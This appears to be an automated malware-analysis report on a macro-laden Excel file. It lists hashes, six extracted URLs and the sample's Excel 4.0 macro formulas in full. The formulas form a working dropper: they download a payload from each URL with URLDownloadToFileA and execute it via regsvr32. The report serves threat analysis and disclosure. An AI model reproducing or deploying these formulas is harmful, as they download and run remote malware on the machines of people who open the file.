General
-
Target
db92514ef86607a06ce0e4101778ad37aa32b7b75b81fa79127a6ed56d107899
-
Size
45KB
-
MD5
8f28c809229de581540bed5dc73a66b0
-
SHA1
17ff1cd361ef52ccd007129112d3328db584e795
-
SHA256
db92514ef86607a06ce0e4101778ad37aa32b7b75b81fa79127a6ed56d107899
-
SHA512
d19952dfb1a2eab4ddee856d3fef38917197636a147fb34a23cda070e77914576fedc8ec77974826d5c78741d1dd31d24be0d11047085b6c54bab27fa953ca83
-
SSDEEP
768:e+oDxDOevZCwrvt8zdDTKufT9nz0LTyY1NiMZFYpvrLeci3cr+Ud0U2XCnM:hoDxD8tT5fTR4Lh1NisFYBc3cr+U2USz
Malware Config
Extracted
http://api.zmotpro.com/totalenvironment/logs/8wdgNaq0x/
http://aetoaluminium.com/wp-admin/gkqyKlzXoc/
http://24studypoint.com/wp-admin/3uEUtb/
https://baicc-ct.org/wp-admin/IwhcfC2sdxoToa/
https://mustknew.com/lovecalculator/osDBhPqx0tB1Vtp/
http://kiski023.com/wp-includes/Requests/Cookie/C/
-
formulas
=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://api.zmotpro.com/totalenvironment/logs/8wdgNaq0x/","..\enu.ocx",0,0) =IF('EFALGV'!D10<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://aetoaluminium.com/wp-admin/gkqyKlzXoc/","..\enu.ocx",0,0)) =IF('EFALGV'!D12<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://24studypoint.com/wp-admin/3uEUtb/","..\enu.ocx",0,0)) =IF('EFALGV'!D14<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://baicc-ct.org/wp-admin/IwhcfC2sdxoToa/","..\enu.ocx",0,0)) =IF('EFALGV'!D16<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://mustknew.com/lovecalculator/osDBhPqx0tB1Vtp/","..\enu.ocx",0,0)) =IF('EFALGV'!D18<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://kiski023.com/wp-includes/Requests/Cookie/C/","..\enu.ocx",0,0)) =IF('EFALGV'!D20<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe /s ..\enu.ocx") =RETURN()
Signatures
-
Suspicious Office macro 1 IoCs
Office document equipped with 4.0 macros.
Files
-
db92514ef86607a06ce0e4101778ad37aa32b7b75b81fa79127a6ed56d107899